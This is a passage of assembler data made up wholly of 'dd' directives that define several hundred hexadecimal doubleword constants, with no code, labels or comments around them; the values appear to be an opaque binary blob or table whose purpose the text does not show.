dd 0F03165F0h, 84628504h, 0E0CCAD8Ch, 0D10AD4EEh, 46DC735h
dd 23DC058Dh, 303A2FE8h, 468E4560h, 99D372A8h, 0A8038E1Ch
dd 0D5ABC058h, 0FCFDF6CBh, 395DED10h, 22B10665h, 59F021DCh
dd 106B4E38h, 94B16FB1h, 0A21489EFh, 0F165B228h, 0E0A3EDEFh
dd 70DE9C3h, 39480674h, 7FB4258Dh, 563445F7h, 0BD656C44h
dd 0B9D690B2h, 0B00DA717h, 0FE97D050h, 13F7F295h, 504D130Eh
dd 538B3241h, 23F953D2h, 8259466Fh, 80D69470h, 0D51FAFDBh
dd 0A211D33Ch, 4B0E5BBh, 240B339Bh, 55782907h, 62CE54A6h
dd 841562E4h, 0D0479356h, 0F6D8A58Ah, 0C437CC16h, 709DED4Ch
dd 35FB0C98h, 49174001h, 7D8F5464h, 95FD69E9h, 0B9708F37h
dd 0D988A565h, 0C582C5C2h, 49ED3Bh, 27AB09ADh, 593226EEh
dd 461A452Bh, 85B47284h, 0BC278CF2h, 0B06FAF55h, 0E4DBD288h
dd 1C31C6E0h, 24B0604Eh, 45CE2490h, 621A5404h, 9C997674h
dd 0A3F387A6h, 0D557AF3Dh, 0E4ACA061h, 11EDF2F6h, 3968052Fh
dd 7ED4256Dh, 750863D3h, 0A045742Ch, 0B5A58F81h, 0FE6CB3EAh
dd 0F560E34Bh, 20DDF484h, 353D0FF9h, 48413342h, 53DE6ED7h
dd 8431650Fh, 0B393B346h, 0DEF3A9BDh, 0D336EE6Fh, 489E567h
dd 35FD35DEh, 5F461013h, 63A94564h, 0BDF44EADh, 0B9709032h
dd 0D683B79Ch, 0E411C5CCh, 7076EF2Ch, 20F114A5h, 59222EF4h
dd 5E0A455Bh, 95C04FA9h, 0BF24B0EDh, 0C38FA54Ah, 0F5C9CF9Bh
dd 406801Bh, 3E8B1054h, 44F72592h, 10544F0Eh, 82B07443h
dd 0B3E394DCh, 0C245962Dh, 0FCB3D58Bh, 1F15E5E8h, 1E1E1939h
dd 55B11185h, 7E2359E5h, 9D626F5Bh, 0BFDF9482h, 0DB3394E7h
dd 0DE02CE4Ah, 19DAD7A1h, 3918050Fh, 51813453h, 7DFF6DABh
dd 0F0397202h, 858A9441h, 0DFEFA9D7h, 0E461C53Bh, 17B6E977h
dd 3E3F0FFFh, 44772922h, 77A44985h, 0B123579Dh, 0A2779410h
dd 0B0CCB59Dh, 0E30DCCECh, 1367F350h, 50DA05B0h, 5E3A2FE2h
dd 108E4342h, 98D465AAh, 0B232931Ch, 0DD8DAE60h, 0F5E0A0DAh
dd 338F606h, 50BA0E6Eh, 5BE72FC2h, 592A5432h, 82B57493h
dd 930285CDh, 0D56FAF25h, 0F4ACC1A7h, 3968E5F9h, 226B1455h
dd 77C0258Fh, 7F1954E2h, 93656E43h, 83C285A7h, 0D538A10Dh
dd 0E49CE91Fh, 15F6F2A0h, 354E2F1Fh, 79E4017Fh, 62EF54D9h
dd 0BF446533h, 85B88573h, 0B03DACDBh, 0F556CE06h, 4ADEE87h
dd 340F05C9h, 55782907h, 46FE61E7h, 0C32950CCh, 9C42CE01h
dd 0D5FEC095h, 0FF3EE318h, 15B3E556h, 35CC60B2h, 55340F16h
dd 698F6B79h, 0F0D178F8h, 81518531h, 0C9AEA57Ch, 0E5EEC1F9h
dd 3150C530h, 37AB32FBh, 660025F2h, 756F4C26h, 0F08178A8h
dd 0BA90D3C5h, 3B5A963Bh, 0C2B3CA0Bh, 2640F27Ah, 12AEF5D4h
dd 0F42F40C1h, 401C7621h, 0E880FF4Bh, 0EE28753Ch, 74BFC079h
dd 9820FE1Fh, 8BC10DB5h, 387FA870h, 0D8D44001h, 135E6C2Ah
dd 0F54A0027h, 0BA95B0A2h
dd 0E0A04B9Ch, 0C44274B4h, 22E9C08Fh, 0B6CB9FD8h, 0B304500Fh
dd 85552C13h, 0F0403E93h, 13FE24A0h, 8D685544h, 5971A07Fh
dd 18BA807Fh, 50BC608Bh, 616584EAh, 418A606Dh, 300318C7h
dd 0DE4CB45Bh, 52593FA9h, 1372B0A1h, 0A22BA081h, 0C9B1A06Eh
dd 68BEB753h, 47C9E214h, 3158FFEEh, 0DFA91F7Ch, 0B0FC65ADh
dd 7CCAF0CFh, 0FB488007h, 0DBEE0ACFh, 58D42A0Dh, 102A2067h
dd 9AB20267h, 0A26A88B3h, 0B046C059h, 6F82F3AEh, 60465630h
dd 0AF473F4Bh, 20FA6664h, 6495A597h, 789D8B4Ch, 33B6F0F6h
dd 0B0C94D85h, 9302B03Fh, 8FFBD704h, 92CBEBA9h, 0BDF4501Fh
dd 10B2FA48h, 0F6BE86Dh, 556D1FECh, 0B09CFE63h, 0B9152FD2h
dd 6A308005h, 0DB819F54h, 201A86D4h, 3E45ADF7h, 187000B4h
dd 2FE91F4Ah, 8E764562h, 50E7A09Fh, 0FF85A041h, 50AE49E0h
dd 0CFAAB469h, 0C27FABD8h, 75A010F3h, 5D4D94B3h, 0B0C58896h
dd 6E4D48BFh, 0B7B37F9Ah, 0B88BA354h, 308440B1h, 0CC7A10Ah
dd 0C3D010E6h, 77F36D6Ah, 0E11CD057h, 0C093F1BBh, 0E597D1C4h
dd 501E5E69h, 0CF904466h, 640612h, 0F4C25D2Dh, 0D04EB5D3h
dd 0ED4CC079h, 8BB94D9Eh, 8FF280D5h, 4B28F5E6h, 62B44001h
dd 10AE007Ah, 34B30077h, 5511860Fh, 0B06CDBF5h, 15E58082h
dd 70D89BABh, 504460BFh, 2A7E831Ch, 10B3C8BFh, 0B2ED008Dh
dd 19F84A52h, 0D96F30ACh, 806DE0EAh, 787C8525h, 0C51722C3h
dd 30547F31h, 4529C2E0h, 0F0900055h, 3DB7BD63h, 0B0CCDBACh
dd 0AFC63D24h, 0CAB8045h, 5FCE68DFh, 3074F925h, 18F6A147h
dd 0A4C000EFh, 0D067E4FBh, 0CA993F39h, 1BB2B0E1h, 54DC0D79h
dd 50FE612Fh, 0D8A42A81h, 104A2073h, 0F0A2524Bh, 0A6031F94h
dd 833CD057h, 94752DC6h, 218880B4h, 12C0A0Ah, 30BC416Bh
dd 423A20A7h, 0CE6295B2h, 5550E0E3h, 0E037B46Fh, 9116C86Bh
dd 8FEF80E5h, 527E443Fh, 0A5FB4031h, 10BA1FF5h, 84908524h
dd 80E20335h, 0B0F61442h, 0C615F13Dh, 4E5215EAh, 0D5D760ABh
dd 66E435A1h, 2EFCB5F8h, 0A70D00BDh, 0BA71B217h, 274198BDh
dd 9072A19Bh, 1AD8B3EEh, 0FB4D39FBh, 603410C1h, 425A7067h
dd 0CEFA9522h, 14D7E093h, 0B0FCC221h, 9886D430h, 4F5A158Ah
dd 0AFBD600Bh, 20AB5254h, 14F87D67h, 0FADE800Dh, 5BC0E1C6h
dd 0A03944D4h, 1DCB43FFh, 60688030h, 6CF634Bh, 0F040920Eh
dd 1175A898h, 741F003Dh, 0D0B6E1F3h, 0C566FE09h, 0AE82E63Fh
dd 712C8FD5h, 0D04E607Ah, 0C181601Fh, 40A4A181h, 85074E24h
dd 16296B51h, 9BC3C1FFh, 9058F191h, 8F8BD654h, 40416A3Eh
dd 0F11F1951h, 1015A5F8h, 75FD009Dh, 0D006FED8h, 0BCD4C083h
dd 0C062A08Fh, 7A9D7F66h, 6DAE70E4h, 3054408Dh, 1045A528h
dd 414900CDh, 5146E073h, 0F9BE9027h, 3517AFE9h, 0F3388065h
dd 6C7268CDh, 0A9004FBCh, 2C2A2057h, 5C2375DDh, 5579DA9Fh
dd 0B01CC0C5h, 0B0E2AD42h, 5155A0B5h, 257A055Ch, 1088EC9Eh
dd 6EDB5CF2h, 846820D2h, 51D795A7h, 8A3CC307h, 0F8878F30h
dd 7067C703h, 40845164h, 0C7E44036h, 85757255h, 0F0203EF7h
dd 80862030h, 0B99490F9h, 0D422A04Fh, 1CA6F79Ah, 500A01F4h
dd 0F0ED5BEh, 0D03F20F7h, 395336F9h, 0EF4265BAh, 0D8FDC0C9h
dd 1052A27Fh, 20AED174h, 6F80F534h, 0A5C94061h, 10FA3B88h
dd 0A45933EDh, 8164B032h, 0E2493F58h, 1782B091h, 0E5D7A451h
dd 50DE5EDDh, 0BDF48359h, 100A3530h, 9A03F9ECh, 2F678A92h
dd 0B47F3F0Ah, 5037B520h, 0AB6BDAF1h, 5B4DB0A0h, 0BD9810D2h
dd 57E3C2h, 0FC4A8B1Dh, 5B96E0C2h, 0B03DC8E3h, 0BB1AA30Fh
dd 0BB03E07Eh, 244FC6A8h, 0C5360704h, 0D7F90E4Ch, 3CAB5342h
dd 80126BA4h, 0E12CAACDh, 6FEDCA6Dh, 60866670h, 0AD3EB8Bh
dd 0B304500Fh, 0DF812C13h, 3757E9FEh, 38F68A24h, 0B3D349C9h
dd 0D60DF3ACh, 22A9D741h, 39C33CFEh, 435B3202h, 4CAE4668h
dd 94EE69FAh, 8C55973Ch, 0C2BEB5BAh, 0C606CEFAh, 196BF220h
dd 15E20E84h, 5F0830E9h, 10784545h, 97C26189h, 0BF1E94E6h
dd 0B2FCB45Ah, 0C5F2A0CFh, 980F07h, 39960F69h, 42FD6EACh
dd 7C5B4704h, 0DE99786Ch, 9E868CC3h, 90678310h, 0F1B8D78Eh
dd 809EAD0h, 154D3541h, 7AA560A3h, 302469D8h, 8279761Bh
dd 85BC9597h, 0B05CC061h, 7D83FD2Fh, 70B89E78h, 4539E5BDh
dd 0CFF44031h, 0A45E52h, 0EFA8C16Dh, 0CE8CDC67h, 8EBA7532h
dd 3C6BA04Fh, 5AADAE39h, 0AF40E1CDh, 0BD07354Ch, 0F51A4Ah
dd 0F2068B9Dh, 75704514h, 880C4564h, 15EDA09Fh, 7018B8E3h
dd 0AAE8E921h, 0CBAA0E0Dh, 0DF182196h, 0D1485026h, 53B91F88h
dd 0B4E4E465h, 987AE4CAh, 23388065h, 14F0234Dh, 0CF840CFDh
dd 14AAC2h, 84100BFDh, 0D21C73AEh, 82893F1Ah, 6FC2B0D1h
dd 0E7801345h, 0B8F19FC5h, 30B440EAh, 4F1966D4h, 0B42E5362h
dd 2FA6AC9Fh, 0A0724AECh, 6E8E481Fh, 70707F3Ah, 0AFC19F9Dh
dd 20F69C9Ch, 9D4313B7h, 0E072E8D8h, 8187B103h, 0E12D90F8h
dd 16B75F1Eh, 98C890CBh, 506E6090h, 62511314h, 549412D4h
dd 0F604CC1h, 0C0386AA6h, 0B0A628D9h, 0E325A07Fh, 1E91F255h
dd 50DF06BFh, 2D1BF21h, 99EA3029h, 0E0AE3A38h, 5D07EF63h
dd 0A0C5BD84h, 0D00729AFh, 2128906Ah, 6E44F504h, 58E740B1h
dd 101A2043h, 0E94AB560h, 5D3FE083h, 0A033E684h, 657048DFh
dd 0B73E7F7Ah, 40E00DAEh, 0B3F440D1h, 544FD2h, 657D001Dh
dd 0D086FEEEh, 0B1569439h, 0F8B0A065h, 0F08880B7h, 6F04F5A4h
dd 0F0514011h, 9D5855FDh, 0E03E60C0h, 0D6ACB2F3h, 0AE017514h
dd 0C646A02Fh, 22E9D0B5h, 6F70F574h, 0CF5C4021h, 950642h
dd 0B7D5C67Dh, 0D0F6F062h, 0B09CCC21h, 0DF11F76Fh, 42DBCB56h
dd 1CC22495h, 0BAA1BF61h, 83DA3039h, 0F08007C5h, 31936D53h
dd 0E9CCD0E1h, 0AE841D12h, 4DF08055h, 0B8419F1Eh, 3064409Dh
dd 59446960h, 0DEE44593h, 0D01AACC7h, 8E7655D6h, 5027A0DFh
dd 727D047Ah, 387D601Bh, 309440C4h, 92595EAh, 7DB9001Dh
dd 0C0B9F20Eh, 452A2859h, 2D515F00h, 7068BFB3h, 409A6F4Bh
dd 0B1C440F3h, 106BB07Bh, 0F178543Dh, 2FB6E0E2h, 0A062361Ch
dd 0C6212Fh, 20A880D4h, 5024B4F0h, 2661BF73h, 959A30F8h
dd 0FD3559ADh, 0D0F5687Bh, 1A193FB9h, 7B32B061h, 1F6503E7h
dd 507E70B5h, 0B5A96924h, 10DA3E84h, 0F2E5FFCDh, 5516F07Ch
dd 3938CF29h, 1B62A08Eh, 70838C75h, 0D5215024h, 30445EEEh
dd 51BDA5E1h, 9AA100DDh, 0BA478A73h, 0BE793F1Bh, 1392B080h
dd 0F4377F9Dh, 50DE616Bh, 5B11CD22h, 7A2A3049h, 0F8352EDh
dd 0C0481E36h, 0BFDC4549h, 90C3E06Ah, 0FCD50D95h, 0E10E7025h
dd 0CA88A8E9h, 8432DF78h, 0AE00002Dh, 0E42F06F8h, 25B3945Dh
dd 90E29E9Dh, 6E023D48h, 518F607Bh, 0CF1E5DF9h, 971FAD48h
dd 9A301043h, 0D0C28803h, 0E32EC0A9h, 0AF2835B0h, 344580E5h
dd 0C5E374BFh, 300402A9h, 1A0C2FB7h, 0E4444406h, 0D20E00F2h
dd 0FABEC193h, 9318B27Dh, 78DCC42Eh, 9191814Bh, 3B154891h
dd 0EFFA0453h, 4D1D508Fh, 0D026DF2Bh, 0B0DCDCE1h, 0A6AC85AFh
dd 5006A02Dh, 75F440D5h, 85A6584h, 3062053Fh, 0BACA73C8h
dd 0F028A9DCh, 25F39739h, 90A29EE5h, 70F44404h, 5094602Bh
dd 0CFF71781h, 752AE2h, 607D8B1Dh, 0BA96F0D6h, 0DB272369h
dd 78B3ADC6h, 708880B0h, 5A4A457Dh, 0A52B1701h, 106A1E9Dh
dd 0A02CC4CEh, 0D7AEEB18h
dd 3D6CC099h, 800C0082h, 8FEBD7E5h, 40616A1Eh, 4EC4C531h
dd 581FAD83h, 73501042h, 0C0E37086h, 3D11C0C9h, 9052E128h
dd 70824E3Eh, 0AFDD36EAh, 200B46F4h, 1022A307h, 7B112FD3h
dd 98936DADh, 0CCD0C6h, 0E5DC5292h, 5AF0E055h, 31419F11h
dd 398757E3h, 0FB0B57BAh, 0DB7F8B37h, 98EB6D4Dh, 43FCD016h
dd 7B55276Bh, 0E5B7D3CCh, 50FE5EE1h, 25E3FD41h, 643B2077h
dd 85D06827h, 4579E0B3h, 0B03CFEF3h, 0D1951D7Fh, 47880B5h
dd 3F9BA75Ah, 30C450EFh, 0D66A2097h, 0E05147B8h, 0D85FE0E3h
dd 77A33F77h, 801720AAh, 70A880D5h, 548C3DFBh, 7FFE4D21h
dd 7FF54EE7h, 962F2003h, 0B68F8C33h, 0FFACE1DCh, 0FD5BD47Fh
dd 1FACA060h, 3C1B038Bh, 51562234h, 1DEB4583h, 0D0502097h
dd 0F059C063h, 0DDD1B59Ah, 0F742D2EAh, 156CF254h, 5AA341B5h
dd 553825D3h, 75965449h, 89CC73BEh, 0A0278853h, 0D1CCB969h
dd 0F5B2C4D1h, 135DF01Dh, 24B0017Fh, 44F7609Dh, 794E4E36h
dd 0D0EA6793h, 877CED8Eh, 0D87FB428h, 0B0A5CE86h, 5004ECF4h
dd 7077015Fh, 10D02E80h, 783D49E9h, 96202C59h, 0B68692BCh
dd 0DE29A90Bh, 0D9D2D37Bh, 19F9F7E5h, 5A335A1Fh, 42812846h
dd 62EB00D2h, 9F492038h, 0B6F6CC76h, 0DE19A9DBh, 0B01DD32Bh
dd 15A5EFB6h, 242740BAh, 10672961h, 75D74993h, 842920ACh
dd 0BC269314h, 91C9B4B8h, 0AAF9F928h, 18AD8590h, 55951A7Fh
dd 0F2288C2Dh, 375BDAF2h, 0C05784B9h, 0C090F44Ah, 0BDDF375Ch
dd 13D01247h, 223BB70h, 2F5BB131h, 0F8EB8CA1h, 0BC3454h
dd 0E5CEDA62h, 8DE53C1h, 0B00CC039h, 90B2A0DFh, 70588085h
dd 50FE602Bh, 30A440D1h, 104A2077h, 0F0F0001Dh, 0D096E0C3h
dd 0B03CC069h, 90E2A00Fh, 708880B5h, 502E605Bh, 30D44001h
dd 107A20A7h, 0F020004Dh, 0D0C6E0F3h, 0B06CC099h, 28B7235Fh
dd 70B890A7h, 12E2C508h, 3F044021h, 9DBE6360h, 475F182Eh
dd 0F5E668h, 94B88442h, 0E24EE244h, 78AABB0Ch, 120574C8h
dd 3C766B75h, 5262B58Eh, 750900BDh, 0D036A2EFh, 724FC512h
dd 0F1AB42B7h, 0F8188487h, 409A3F6Eh, 3000A891h, 30622037h
dd 7DB000DDh, 0C0756C06h, 0A8C59929h, 5021ACBBh, 8FBF6271h
dd 40ACF49Eh, 0E96383C1h, 3465AD64h, 0E003001Dh, 5F7A904Ch
dd 0B4C44359h, 0D5B561Dh, 7068A329h, 241E5AC8h, 33F66BF4h
dd 5EE730E5h, 0AE4B58C1h, 0A4B6DA60h, 5B6E3F8Dh, 80705F2Ch
dd 8F57D73Dh, 7B804B84h, 20B6FCACh, 5B9978C7h, 75CFC359h
dd 0D0F6A28Bh, 0F218457Eh, 9032A04Fh, 4C308005h, 0DB7E60ABh
dd 2066D4D4h, 0E663C8F7h, 0E898FF62h, 5316E043h, 0A0FE5454h
dd 9817A08Fh, 54001DBCh, 0CC4560CBh, 72C0CD7Eh, 9F392037h
dd 0E0E29848h, 44D36973h, 58ECD05Bh, 9092A0BCh, 0FBFB4956h
dd 50DEE098h, 0DD6C12B1h, 13D5DFA9h, 0E092BC68h, 53A0E3A3h
dd 0BF1CCC33h, 90C3A76Bh, 60120395h, 0AD8A6F3Bh, 0BBB440E1h
dd 0F80A2CC5h, 0FFFFEE5h, 921A65D0h, 764FC069h, 10FA2A4Fh
dd 69EC803Ch, 241099EBh, 0C10F0012h, 918B683Ch, 2FEFDFBCh
dd 942F61DCh, 0C57C8CE5h, 5809F9A3h, 7F327976h, 506ED714h
dd 48952641h, 1F881319h, 0F060AB08h, 0EA85B633h, 3BA9B5D9h
dd 92B9B035h, 81FB8AAEh, 0AEEC889Ah, 8547BF8Eh, 10FA62ABh
dd 88508510h, 54B2EF98h, 4FDCC009h, 80C01C1Ah, 25C0D055h
dd 53319F05h, 2036FC24h, 0AC9FAF47h, 0F3C010AFh, 5335C497h
dd 6B3FC2F9h, 73BA16D0h, 50910097h, 74DAA178h, 14B869D5h
dd 4B6E2C5Eh, 7119EB5Dh, 6B41EF38h, 3102B4B4h, 0FEA708F4h
dd 0F1BEF46Eh, 0F11539A0h, 0B1FA34FEh, 0A558F65Ch, 710674E1h
dd 882F7308h, 3172B46Ah, 0C8FBDDC4h, 0F1AEF416h, 75612670h
dd 0B10A34D0h, 3595102Ch, 0F56749Ch, 0C0B478B6h, 0C1759BC9h
dd 0CEBD5F90h, 99FC4296h, 0AF719E54h, 345E42A2h, 0E593C85Fh
dd 6508FF52h, 0D036C66Ah, 0A8FD789Fh, 74B2429Dh, 16FA8246h
dd 8B80A40h, 0CF916E79h, 18C8A3C8h, 0F5DAD15Ah, 257708DBh
dd 4A7C3FD6h, 20A9D3CCh, 49CD8225h, 0FAEE703Dh, 58FE672Ah
dd 0EABA8A3Fh, 40F8750Eh, 258708A2h, 0B1943FA6h, 14D2A0FFh
dd 0A175F477h, 0BBD49EABh, 88C1AB07h, 906A2097h, 33AFE296h
dd 0E926756Eh, 6777C099h, 67C17AD8h, 60910450h, 504E607Bh
dd 0F0614F29h, 0E691C006h, 0E07982E8h, 0D693E113h, 9505CDDFh
dd 15C4B3B4h, 70C8B987h, 367815A9h, 0DB01715Ch, 11C746F3h
dd 18DB66B8h, 2FE91FFFh, 39888362h, 80200C1Ah, 87CB2B35h
dd 4097E45Eh, 30544081h, 0D06F2F2Fh, 180ABCC9h, 2FB91FEFh
dd 0F25C5590h, 1564A0AFh, 7028B9E7h, 5FDA150Ah, 1B86AB80h
dd 0E7E98B97h, 0E0E98478h, 0D076E0A3h, 3A3BB441h, 80FBDE6Ah
dd 7B884195h, 15856D5Dh, 0C804EB87h, 6EDFAA2Dh, 31001014h
dd 0B7A3FB33h, 1B4A491Dh, 3B94602Ch, 1420922Eh, 0FB3E65E4h
dd 99AC59Bh, 488E20A7h, 5B28E09Ch, 445326C0h, 0B97CD08Eh
dd 6C9285A4h, 0C8AEA01Eh, 0FB086070h, 347E59AAh, 0E4B3C8BFh
dd 0F4EDFF72h, 0D8E621E1h, 7025C5BFh, 93B90B19h, 1A521095h
dd 0A07638D0h, 0B0BBBF82h, 0CDB492h, 0A1006BDh, 5419936Bh
dd 4E1FB4DBh, 6E41D465h, 8EEFF49Fh, 0AE171431h, 0CE78346Bh
dd 0EE15548Dh, 40CF7427h, 60AD0B6Ah, 6BBC6ABEh, 65026434h
dd 88E8406Eh, 0A73DDCC0h, 209DC454h, 106A2077h, 8576B01Dh
dd 5D92E4C1h, 15B63E26h, 90F29973h, 8C082BD3h, 0E029155Eh
dd 0CF9BC001h, 72928AE7h, 7DFFFB2h, 0C0FF6476h, 0B02CC099h
dd 0F6AAC63Fh, 0C4BAF5D4h, 0E0F506A2h, 4E814A29h, 0D0AA30EEh
dd 18FA039Dh, 2F091F1Eh, 356B4879h, 905299EBh, 70E80015h
dd 0D63E62CEh, 948E5EBh, 0BBBC2017h, 8585FC2Dh, 50265054h
dd 1A8C3FB6h, 0CF2D5Ch, 9818907Ch, 0AF419FE6h, 9E0C566h
dd 100A2027h, 0F3C410DDh, 27FC8033h, 0A0C544ACh, 90A2A0CFh
dd 0C84FF47Dh, 5002EB4Eh, 0B5630F6Ah, 102A19E3h, 0F1E0000Eh
dd 0D07664BCh, 589CC059h, 2D5B0B55h, 7068C239h, 0AFE0ACA3h
dd 9A2CF00Eh, 0B0D7A93Ch, 1810107Fh, 2F491E5Eh, 89D8457Eh
dd 9001A03Fh, 6ADC80D5h, 69CAE58Ch, 30F44031h, 1AEE21C7h
dd 0FBE2E85h, 2E7D08ECh, 593C3F46h, 15B90BF5h, 70C8C299h
dd 9855AF20h, 7280FDD8h, 584320E7h, 9417B861h, 0E3BDD6BCh
dd 4717A629h, 805B240Ah, 70088335h, 0A6BD14DBh, 206DC204h
dd 1A8EA027h, 0F5DAA25h, 2E1D088Ch, 0D7543FE6h, 3BB429DBh
dd 0DB5E4056h, 695AE5FCh, 308740A1h, 4A5E2057h, 0C952850Bh
dd 0A5F6E0B3h, 4D9D2843h, 0A22A5F10h, 98977F6Bh, 0AFF19D39h
dd 245C6051h, 0F3A5DF7Ch, 0FB86614h, 410D86C6h, 34D94BD2h
dd 67F2B026h, 735A7717h, 253E606Bh, 0CC38A805h, 0F3ADF48h
dd 0FCAEEB5h, 2F6E86FCh, 21D7A6BCh, 1BED2BE4h, 608A2470h
dd 0D9A64B9Bh, 0B5E3BC09h, 10AA1963h, 0F060008Eh, 55F1D847h
dd 0B0BCF95Dh, 9652A07Fh, 0F50FAC51h, 508E594Fh, 31444071h
dd 0D2022A62h, 186FFF40h, 2FC91D28h, 895845FEh, 9082A0BFh
dd 7A5C8455h, 0AF33CC13h, 0CD15A85Eh, 95EDDFB8h, 0F0D03969h
dd 0D066E097h, 26E4D74Dh, 284D5F22h, 0B8A640ACh, 90F6D880h
dd 880F44A5h, 77A1D802h, 0D8FE8B6h, 55611F3Ch, 0B02CF9EDh
dd 90E2A007h, 0CD08F2C0h, 503E59D9h, 0D8BD3401h, 0EF85DDC2h
dd 0D93829F5h, 0AE63EA3Ah
dd 706CD0A0h, 3518A3DBh, 70A8B99Bh, 0AD158820h, 81B4BFCEh
dd 922FAA7Dh, 5A501044h, 2F0BDCCBh, 352ACF36h, 90529911h
dd 74288498h, 586EA1FBh, 9B52CDD1h, 477021B7h, 0F7D2045h
dd 0F41AC9ACh, 4B2E789Fh, 14F757C6h, 6018907Ch, 24BE60EBh
dd 9A2DF096h, 0EA7F9851h, 5BD6E1DFh, 2FAA1C6Bh, 1A1470D6h
dd 190960FCh, 600A08C8h, 0D46B971Bh, 109450F8h, 653A2067h
dd 2E08571Ah, 8A791F4Fh, 0E89C0FD2h, 15D86AD4h, 7068B9D9h
dd 0FAE22AC2h, 0CF388819h, 91D24668h, 7495F7FDh, 90B6F0DAh
dd 0C45CC089h, 0B8C6202Ch, 49D425DFh, 0FB28606Bh, 7278FDA8h
dd 0E73120D7h, 0E07984E8h, 0D0E6E013h, 85B5F9h, 0ECB7A20Fh
dd 0DAD8903Ch, 69FAE55Ch, 30A44041h, 1BBF20F7h, 757AB82Dh
dd 0D006D93Eh, 0D6812B43h, 677A9137h, 603104B0h, 50AF60DBh
dd 80563481h, 6D5F2A0Eh, 30A010F4h, 754CE397h, 0B0FCF964h
dd 28F40BD9h, 0F5CF70E4h, 50CE598Fh, 308442B1h, 0D89E2222h
dd 0C9ADA5F7h, 7B10E0B3h, 0F2B47DC0h, 7AA0FFh, 0DB6880BCh
dd 698AE5CCh, 30BC40F1h, 612E2087h, 0FFC20C5h, 5423172Ch
dd 0B04CD040h, 0E5F2A01Bh, 7A2030CEh, 40071EEEh, 7D0FEA11h
dd 290EA540h, 0F830004Dh, 0C1A3E003h, 50FF78CFh, 0A95C0545h
dd 0DBAE80E5h, 0BBC4A0A8h, 19AC2654h, 6E1F2AFFh, 306010B4h
dd 750CE3D7h, 0B0BCF9A7h, 15A50B19h, 70E8B9A1h, 509E70CBh
dd 0F0C5F817h, 0D46A2363h, 8E350AB5h, 0B636F05Ah, 356ACFA2h
dd 9092992Dh, 8B8768FEh, 0D5399F04h, 30647925h, 501A2047h
dd 0A0700E99h, 0E91A6591h, 58A6C029h, 6F4D5B4Ah, 0F9A6CF08h
dd 40BCF0A6h, 0B421B7D1h, 104A304Eh, 8470001Dh, 7A7E50CFh
dd 48149C2h, 7BE2B04Dh, 8B6968B0h, 3AC69FA4h, 0C72BBFFAh
dd 43A422h, 0F120004Dh, 60CD95F3h, 0CCE9CAD9h, 3A12B006h
dd 0C8DE8F0Eh, 0F554A008h, 3014794Dh, 111A8BB1h, 74D5F7D7h
dd 0D0F6F01Ah, 0C59CC2C9h, 14C75740h, 70E8902Ch, 258E64BBh
dd 3AF4F07Bh, 0E35E82h, 73258AADh, 1126F06Ah, 8AAD019h
dd 20D921F9h, 0C0106B45h, 2E3B6AABh, 9A6450A8h, 298EA5C0h
dd 0F0B000CDh, 0C023E08Bh, 587F784Fh, 0A9DF05C5h, 0DB2E8065h
dd 580561ABh, 0B59E0871h, 102A191Ah, 0A3FE8A7h, 55711F4Ch
dd 0B03CF9DDh, 90C2A0FFh, 550DF514h, 0A89DD82Dh, 9B9E5FBh
dd 0BB0C2087h, 0D9BAC00Eh, 0C0F4705Eh, 34D93789h, 9002B016h
dd 5A8A0D5h, 0BB39D164h, 394C263Ah, 6D3F2ADFh, 30401054h
dd 75ECE3F7h, 0B09CF9C4h, 2D1B0B39h, 70C8C295h, 0F5F4A121h
dd 303402C1h, 487A8B91h, 0C90C859Fh, 38BCE053h, 4F433A90h
dd 0A9E62578h, 700B8025h, 7CDA61DBh, 9D0C576h, 10FA2037h
dd 0D0D504CDh, 0E9C26584h, 0B0ECC009h, 9AE7A3BFh, 8FC15E8Dh
dd 0AA9588F4h, 306CBF4Eh, 0F8D5DFADh, 0F2FFABCh, 0E9F26554h
dd 0B01CC059h, 98B6A8EFh, 98C24925h, 0AFF19A16h, 930C516h
dd 105A2097h, 0DA74102Dh, 558CE763h, 0B05CF905h, 9DE840DEh
dd 70BC884Ch, 6942C569h, 0D4244001h, 144EA0B4h, 9CFE8F6h
dd 0B1661FFCh, 498B2803h, 28445FB0h, 0D5C2600Ah, 507E59E7h
dd 0D6FCEB27h, 0E745DF1Eh, 0E0598408h, 0D006C033h, 3BE8B4D9h
dd 18DF2BB8h, 5BF89067h, 0ACDFE90Ah, 0B54E18C1h, 10FA196Bh
dd 92FE817h, 55C11F9Ch, 0B0CCF98Dh, 90C2A0AFh, 0C84E8C21h
dd 0D5C4A3ABh, 306479DDh, 0A87C2AACh, 55CAE012h, 0D076D9EFh
dd 26E46B5Fh, 674D5F26h, 60610400h, 50FE632Bh, 0BBFB34D0h
dd 0B0CFABB8h, 0DBF0105Fh, 2CDE690Bh, 35CB095Ah, 90F2998Bh
dd 700880B5h, 0D5A36E2Eh, 30C4797Dh, 903A282Dh, 85303B4h
dd 940BE47Eh, 716CD0BDh, 1BA2A8DFh, 16BE634Eh, 369E5133h
dd 0BFBC269Ah, 10124857h, 1152007Dh, 7BAE4B45h, 0B6E9094Ch
dd 50731809h, 0B3582B73h, 0A9A58811h, 0B5C3BF9Eh, 10CA1983h
dd 708000ADh, 1FADFA27h, 0F2784572h, 5859A08Fh, 98E4C8CCh
dd 0AF419994h, 0D8CE8321h, 0EFF5D932h, 0C9208550h, 55A1E093h
dd 0B0ECF9ADh, 0B0A2A0CFh, 5B1F8600h, 490538E3h, 1BBC134Ah
dd 9BEA0B9Fh, 0E0A2A880h, 5813E1B3h, 0B12CD01Bh, 0B4962BC6h
dd 18C509A1h, 0DB1E705Bh, 2086CC4Ch, 98EF0B97h, 710107Fh
dd 0C08F6466h, 0B05C8089h, 6700D42Fh, 746A2B0Dh, 0D319367Bh
dd 20B6849Ch, 949520C7h, 0F04001B4h, 0D0E6EDFBh, 0E2C98BB9h
dd 0A37EE511h, 3C9CAE37h, 0C58160E7h, 30347E23h, 5212A57Eh
dd 7B23008Dh, 815DC1Bh, 3B94B316h, 898A94CCh, 0FBF77FC0h
dd 40ECD84Eh, 72571B81h, 0CC7FA92Bh, 0F3A0108Fh, 55CFE831h
dd 0B0FC82F9h, 6FBAD334h, 703800D6h, 0A42C880Bh, 8D0FBF4Eh
dd 103A62EFh, 436E8ABh, 45FD1F5Ch, 0B00C82F1h, 93CAEA64h
dd 0BE438CDFh, 5F0B89B8h, 30B52069h, 4ADE2F87h, 0F300002Ch
dd 0C0E45C66h, 0C8F9C379h, 3CF2B05Dh, 0F59768F9h, 503E60C9h
dd 1BE0069Ch, 0C85832h, 0A036035Dh, 2F2243EBh, 8C14356h
dd 9022B00Dh, 37F38B80h, 4BED6F97h, 0DB144040h, 0A82F19EBh
